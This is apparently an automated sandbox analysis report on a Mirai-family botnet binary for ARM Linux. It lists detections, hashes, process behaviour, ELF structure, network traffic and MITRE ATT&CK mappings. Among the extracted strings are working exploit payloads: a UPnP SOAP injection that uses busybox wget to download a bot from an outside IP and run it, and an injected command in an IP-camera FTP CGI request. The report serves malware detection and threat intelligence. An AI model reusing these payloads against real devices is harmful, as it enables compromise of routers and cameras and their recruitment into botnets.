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Linux Analysis Report
jkse.arm7.elf

Overview

General Information

Sample name:	jkse.arm7.elf
Analysis ID:	1643578
MD5:	68bcd00c96b9dd6d350430c43abb70ec
SHA1:	a55eddd9f3198309be318004e0d0fffa8dc6f17c
SHA256:	a3863df857d1db41e97a6f536878b2497522a93265227c066ecfc7ea5d65f61c
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	56
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643578
Start date and time:	2025-03-20 00:33:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	jkse.arm7.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/0@2/0
Cookbook Comments:	Analysis time extended to 480s due to sleep detection in submitted sample

Runtime Messages

Command:	/tmp/jkse.arm7.elf
PID:	5517
Exit Code:	255
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	/lib/ld-uClibc.so.0: No such file or directory

Process Tree

system is lnxubuntu20

jkse.arm7.elf (PID: 5517, Parent: 5440, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/jkse.arm7.elf

dash New Fork (PID: 5583, Parent: 3670)

rm (PID: 5583, Parent: 3670, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.g7VEL5zAe9 /tmp/tmp.jHdrBYAULc /tmp/tmp.ycTIF7paOi

dash New Fork (PID: 5584, Parent: 3670)

rm (PID: 5584, Parent: 3670, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.g7VEL5zAe9 /tmp/tmp.jHdrBYAULc /tmp/tmp.ycTIF7paOi

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
jkse.arm7.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5517.1.00007f2a38017000.00007f2a3801f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: jkse.arm7.elf PID: 5517	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 196.251.81.246 -l /tmp/darkbot -r /sh3; /bin/busybox chmod 777 * /tmp/darkbot; /tmp/darkbot)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: Initial sample	Potential command found: GET /set_ftp.cgi?loginuse=
Source: Initial sample	Potential command found: GET /ftptest.cgi?loginuse=
Source: Initial sample	Potential command found: GET login.cgi HTTP/1.0
Source: Initial sample	Potential command found: GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+cd+/tmp+>>+/tmp/t%29 HTTP/1.0
Source: Initial sample	Potential command found: GET /ftptest.cgi?loginuse= HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/0@2/0

Source: /usr/bin/dash (PID: 5583)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.g7VEL5zAe9 /tmp/tmp.jHdrBYAULc /tmp/tmp.ycTIF7paOi			Jump to behavior
Source: /usr/bin/dash (PID: 5584)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.g7VEL5zAe9 /tmp/tmp.jHdrBYAULc /tmp/tmp.ycTIF7paOi			Jump to behavior

Source: /tmp/jkse.arm7.elf (PID: 5517)

Queries kernel information via 'uname':

Jump to behavior

Source: jkse.arm7.elf, 5517.1.00007ffd54731000.00007ffd54752000.rw-.sdmp	Binary or memory string: qemu: %s: %s
Source: jkse.arm7.elf, 5517.1.00007ffd54731000.00007ffd54752000.rw-.sdmp	Binary or memory string: leqemu: %s: %s
Source: jkse.arm7.elf, 5517.1.00007ffd54731000.00007ffd54752000.rw-.sdmp	Binary or memory string: Gx86_64/usr/bin/qemu-arm/tmp/jkse.arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jkse.arm7.elf
Source: jkse.arm7.elf, 5517.1.0000562333cc4000.0000562333df2000.rw-.sdmp	Binary or memory string: 3#Vrg.qemu.gdb.arm.sys.regs">
Source: jkse.arm7.elf, 5517.1.0000562333cc4000.0000562333df2000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: jkse.arm7.elf, 5517.1.00007ffd54731000.00007ffd54752000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: jkse.arm7.elf, 5517.1.0000562333cc4000.0000562333df2000.rw-.sdmp	Binary or memory string: rg.qemu.gdb.arm.sys.regs">
Source: jkse.arm7.elf, 5517.1.0000562333cc4000.0000562333df2000.rw-.sdmp	Binary or memory string: 3#V!/etc/qemu-binfmt/arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: jkse.arm7.elf, type: SAMPLE
Source: Yara match	File source: 5517.1.00007f2a38017000.00007f2a3801f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: jkse.arm7.elf PID: 5517, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: jkse.arm7.elf, type: SAMPLE
Source: Yara match	File source: 5517.1.00007f2a38017000.00007f2a3801f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: jkse.arm7.elf PID: 5517, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	Path Interception	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
jkse.arm7.elf	48%	Virustotal		Browse
jkse.arm7.elf	50%	ReversingLabs	Linux.Trojan.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://schemas.xmlsoap.org/soap/encoding/	jkse.arm7.elf	false	high
http://196.251.81.246/a	jkse.arm7.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	jkse.arm7.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
54.217.10.153	unknown	United States		16509	AMAZON-02US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
54.217.10.153	re.bot.mips.elf	Get hash	malicious	Unknown	Browse
	45.126.126.33-sora.arm-2025-03-12T01_48_26.elf	Get hash	malicious	Mirai	Browse
	efea6.elf	Get hash	malicious	Mirai	Browse
	tftp.elf	Get hash	malicious	Unknown	Browse
	arm6.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	nshkarm6.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	sh4.elf	Get hash	malicious	Mirai	Browse
	arm6.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	jkse.arm.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	jkse.ppc.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	jkse.mips.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	jkse.mpsl.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	jkse.x86.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	.i.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	i.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	i.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	jkse.arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	jkse.ppc.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	SIH Client.exe	Get hash	malicious	Unknown	Browse	3.5.146.14
	https://auth-ca--ndax--console.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	13.33.251.140
	jkse.arm.elf	Get hash	malicious	Unknown	Browse	54.122.24.229
	http://pub-a5c199e46db94f72884285a0394a65f2.r2.dev/green-table-top.html	Get hash	malicious	HTMLPhisher	Browse	13.216.34.24
	jkse.ppc.elf	Get hash	malicious	Unknown	Browse	52.16.210.218
	http://mmsetscklogin.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	13.33.251.183
	bin.sh.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	http://ajrdn.qqmasonry.com/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	108.138.106.39
	jkse.mips.elf	Get hash	malicious	Unknown	Browse	54.127.97.231
	jkse.mpsl.elf	Get hash	malicious	Unknown	Browse	52.94.132.43

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
Entropy (8bit):	5.876715411732662
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	jkse.arm7.elf
File size:	31'579 bytes
MD5:	68bcd00c96b9dd6d350430c43abb70ec
SHA1:	a55eddd9f3198309be318004e0d0fffa8dc6f17c
SHA256:	a3863df857d1db41e97a6f536878b2497522a93265227c066ecfc7ea5d65f61c
SHA512:	06f49b2fa23a4a4a17ed21dcac9d8c6676822c010b6ee8c7dba47b1fa920b3751912449d477b778c19edfb6ec01bff3fa2b71b5701486a226a49a58677de9fb9
SSDEEP:	768:h4Hc3LV6R+Sp3asmggbr3A06xk0Ut4b2Yb8V6m0:RY+Sp37/gH3A0R/VPV6m0
TLSH:	E8E28248ED19533AC3E176FFDB9542CF33FA2BC977EA39158231415523C8B54663A620
File Content Preview:	.ELF..............(.........4....w......4. ...(.........4...4...4....................................................................s...s...............s...s...s..X....................s...s...s..................Q.td............................/lib/ld-uCl

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8ed8
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	6
Section Header Offset:	30644
Section Header Size:	40
Number of Section Headers:	22
Header String Table Index:	21

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.interp	PROGBITS	0x80f4	0xf4	0x14	0x0	0x2	A	0	0	1
.hash	HASH	0x8108	0x108	0x22c	0x4	0x2	A	3	0	4
.dynsym	DYNSYM	0x8334	0x334	0x460	0x10	0x2	A	4	1	4
.dynstr	STRTAB	0x8794	0x794	0x201	0x0	0x2	A	0	0	1
.rel.plt	REL	0x8998	0x998	0x1d0	0x8	0x2	A	3	7	4
.init	PROGBITS	0x8b68	0xb68	0x10	0x0	0x6	AX	0	0	4
.plt	PROGBITS	0x8b78	0xb78	0x2cc	0x4	0x6	AX	0	0	4
.text	PROGBITS	0x8e44	0xe44	0x5c50	0x0	0x6	AX	0	0	4
.fini	PROGBITS	0xea94	0x6a94	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0xeaa4	0x6aa4	0x8e8	0x0	0x2	A	0	0	4
.eh_frame	PROGBITS	0x1738c	0x738c	0x4	0x0	0x3	WA	0	0	4
.init_array	INIT_ARRAY	0x17390	0x7390	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x17394	0x7394	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x17398	0x7398	0x4	0x0	0x3	WA	0	0	4
.dynamic	DYNAMIC	0x1739c	0x739c	0xb8	0x8	0x3	WA	4	0	4
.got	PROGBITS	0x17454	0x7454	0xf4	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x17548	0x7548	0x9c	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x175e4	0x75e4	0xd4b4	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x75e4	0x112	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x76f6	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x770c	0xa5	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
PHDR	0x34	0x8034	0x8034	0xc0	0xc0	2.2687	0x5	R E	0x4
INTERP	0xf4	0x80f4	0x80f4	0x14	0x14	3.6842	0x4	R	0x1	/lib/ld-uClibc.so.0	.interp
LOAD	0x0	0x8000	0x8000	0x738c	0x738c	5.9054	0x5	R E	0x8000		.interp .hash .dynsym .dynstr .rel.plt .init .plt .text .fini .rodata
LOAD	0x738c	0x1738c	0x1738c	0x258	0xd70c	3.8991	0x6	RW	0x8000		.eh_frame .init_array .fini_array .jcr .dynamic .got .data .bss
DYNAMIC	0x739c	0x1739c	0x1739c	0xb8	0xb8	2.0700	0x6	RW	0x4		.dynamic
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Dynamic Tags

Type	Meta	Value	Tag
DT_NEEDED	sharedlib	libc.so.0	0x1
DT_INIT	value	0x8b68	0xc
DT_FINI	value	0xea94	0xd
DT_INIT_ARRAY	value	0x17390	0x19
DT_INIT_ARRAYSZ	bytes	4	0x1b
DT_FINI_ARRAY	value	0x17394	0x1a
DT_FINI_ARRAYSZ	bytes	4	0x1c
DT_HASH	value	0x8108	0x4
DT_STRTAB	value	0x8794	0x5
DT_SYMTAB	value	0x8334	0x6
DT_STRSZ	bytes	513	0xa
DT_SYMENT	bytes	16	0xb
DT_DEBUG	value	0x0	0x15
DT_PLTGOT	value	0x17454	0x3
DT_PLTRELSZ	bytes	464	0x2
DT_PLTREL	pltrel	DT_REL	0x14
DT_JMPREL	value	0x8998	0x17
DT_NULL	value	0x0	0x0

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__bss_end__	.dynsym	0x24a98	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.dynsym	0x175e4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.dynsym	0x175e4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__data_start	.dynsym	0x17548	0	NOTYPE	<unknown>	DEFAULT	17
__end__	.dynsym	0x24a98	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__errno_location	.dynsym	0x8d9c	32	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__exidx_end	.dynsym	0xf38c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exidx_start	.dynsym	0xf38c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__uClibc_main	.dynsym	0x8d24	848	FUNC	<unknown>	DEFAULT	SHN_UNDEF
_bss_end__	.dynsym	0x24a98	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_edata	.dynsym	0x175e4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.dynsym	0x24a98	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.dynsym	0x8dc0	104	FUNC	<unknown>	DEFAULT	SHN_UNDEF
_start	.dynsym	0x8ed8	80	FUNC	<unknown>	DEFAULT	8
abort	.dynsym	0x8c64	296	FUNC	<unknown>	DEFAULT	SHN_UNDEF
atoi	.dynsym	0x8db4	32	FUNC	<unknown>	DEFAULT	SHN_UNDEF
calloc	.dynsym	0x8c70	320	FUNC	<unknown>	DEFAULT	SHN_UNDEF
clock	.dynsym	0x8de4	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
close	.dynsym	0x8e08	100	FUNC	<unknown>	DEFAULT	SHN_UNDEF
connect	.dynsym	0x8bbc	116	FUNC	<unknown>	DEFAULT	SHN_UNDEF
exit	.dynsym	0x8da8	196	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fcntl	.dynsym	0x8dfc	244	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fork	.dynsym	0x8d18	972	FUNC	<unknown>	DEFAULT	SHN_UNDEF
free	.dynsym	0x8e20	572	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getpid	.dynsym	0x8be0	72	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getppid	.dynsym	0x8d60	20	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockname	.dynsym	0x8e38	68	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockopt	.dynsym	0x8d84	72	FUNC	<unknown>	DEFAULT	SHN_UNDEF
htonl	.dynsym	0x8cf4	32	FUNC	<unknown>	DEFAULT	SHN_UNDEF
htons	.dynsym	0x8d90	16	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inet_addr	.dynsym	0x8ca0	40	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ioctl	.dynsym	0x8b98	224	FUNC	<unknown>	DEFAULT	SHN_UNDEF
kill	.dynsym	0x8c88	56	FUNC	<unknown>	DEFAULT	SHN_UNDEF
malloc	.dynsym	0x8c10	2360	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memcpy	.dynsym	0x8bf8	4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memmove	.dynsym	0x8bd4	4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memset	.dynsym	0x8d3c	156	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ntohl	.dynsym	0x8cac	32	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ntohs	.dynsym	0x8d54	16	FUNC	<unknown>	DEFAULT	SHN_UNDEF
open	.dynsym	0x8dd8	100	FUNC	<unknown>	DEFAULT	SHN_UNDEF
prctl	.dynsym	0x8bec	68	FUNC	<unknown>	DEFAULT	SHN_UNDEF
printf	.dynsym	0x8ba4	76	FUNC	<unknown>	DEFAULT	SHN_UNDEF
raise	.dynsym	0x8e14	240	FUNC	<unknown>	DEFAULT	SHN_UNDEF
rand	.dynsym	0x8cd0	24	FUNC	<unknown>	DEFAULT	SHN_UNDEF
read	.dynsym	0x8ce8	100	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recv	.dynsym	0x8bb0	112	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recvfrom	.dynsym	0x8c28	136	FUNC	<unknown>	DEFAULT	SHN_UNDEF
select	.dynsym	0x8c40	132	FUNC	<unknown>	DEFAULT	SHN_UNDEF
send	.dynsym	0x8c58	112	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sendto	.dynsym	0x8d00	136	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setsid	.dynsym	0x8df0	64	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setsockopt	.dynsym	0x8cb8	72	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigaddset	.dynsym	0x8c4c	80	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigemptyset	.dynsym	0x8bc8	20	FUNC	<unknown>	DEFAULT	SHN_UNDEF
signal	.dynsym	0x8cdc	196	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigprocmask	.dynsym	0x8e2c	140	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sleep	.dynsym	0x8c1c	272	FUNC	<unknown>	DEFAULT	SHN_UNDEF
socket	.dynsym	0x8c34	68	FUNC	<unknown>	DEFAULT	SHN_UNDEF
srand	.dynsym	0x8d48	164	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcat	.dynsym	0x8c94	40	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcmp	.dynsym	0x8d78	28	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcpy	.dynsym	0x8b8c	36	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strdup	.dynsym	0x8d30	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strlen	.dynsym	0x8dcc	96	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strstr	.dynsym	0x8cc4	252	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strtok	.dynsym	0x8d0c	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
system	.dynsym	0x8c04	132	FUNC	<unknown>	DEFAULT	SHN_UNDEF
time	.dynsym	0x8d6c	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
write	.dynsym	0x8c7c	100	FUNC	<unknown>	DEFAULT	SHN_UNDEF

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 6
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 00:34:49.075150013 CET	49574	443	192.168.2.15	54.217.10.153
Mar 20, 2025 00:34:49.075202942 CET	443	49574	54.217.10.153	192.168.2.15
Mar 20, 2025 00:34:49.075294971 CET	49574	443	192.168.2.15	54.217.10.153
Mar 20, 2025 00:34:49.076239109 CET	49574	443	192.168.2.15	54.217.10.153
Mar 20, 2025 00:34:49.076257944 CET	443	49574	54.217.10.153	192.168.2.15
Mar 20, 2025 00:35:49.074357986 CET	49574	443	192.168.2.15	54.217.10.153
Mar 20, 2025 00:35:49.116328955 CET	443	49574	54.217.10.153	192.168.2.15

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 00:37:06.255808115 CET	34914	53	192.168.2.15	1.1.1.1
Mar 20, 2025 00:37:06.255861998 CET	33594	53	192.168.2.15	1.1.1.1
Mar 20, 2025 00:37:06.347366095 CET	53	33594	1.1.1.1	192.168.2.15
Mar 20, 2025 00:37:06.357702017 CET	53	34914	1.1.1.1	192.168.2.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2025 00:37:06.255808115 CET	192.168.2.15	1.1.1.1	0xb62d	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 00:37:06.255861998 CET	192.168.2.15	1.1.1.1	0x521e	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2025 00:37:06.357702017 CET	1.1.1.1	192.168.2.15	0xb62d	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Mar 20, 2025 00:37:06.357702017 CET	1.1.1.1	192.168.2.15	0xb62d	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: jkse.arm7.elf PID: 5517, Parent PID: 5440

General

Start time (UTC):	23:34:21
Start date (UTC):	19/03/2025
Path:	/tmp/jkse.arm7.elf
Arguments:	/tmp/jkse.arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	23:35:47
Start date (UTC):	19/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	23:35:47
Start date (UTC):	19/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.g7VEL5zAe9 /tmp/tmp.jHdrBYAULc /tmp/tmp.ycTIF7paOi
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	23:35:47
Start date (UTC):	19/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	23:35:47
Start date (UTC):	19/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.g7VEL5zAe9 /tmp/tmp.jHdrBYAULc /tmp/tmp.ycTIF7paOi
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Source: jkse.arm7.elf	Virustotal: Detection: 48%			Perma Link
Source: jkse.arm7.elf	ReversingLabs: Detection: 50%

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49574
Source: unknown	Network traffic detected: HTTP traffic on port 49574 -> 443

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: jkse.arm7.elf	String found in binary or memory: http://196.251.81.246/a
Source: jkse.arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: jkse.arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

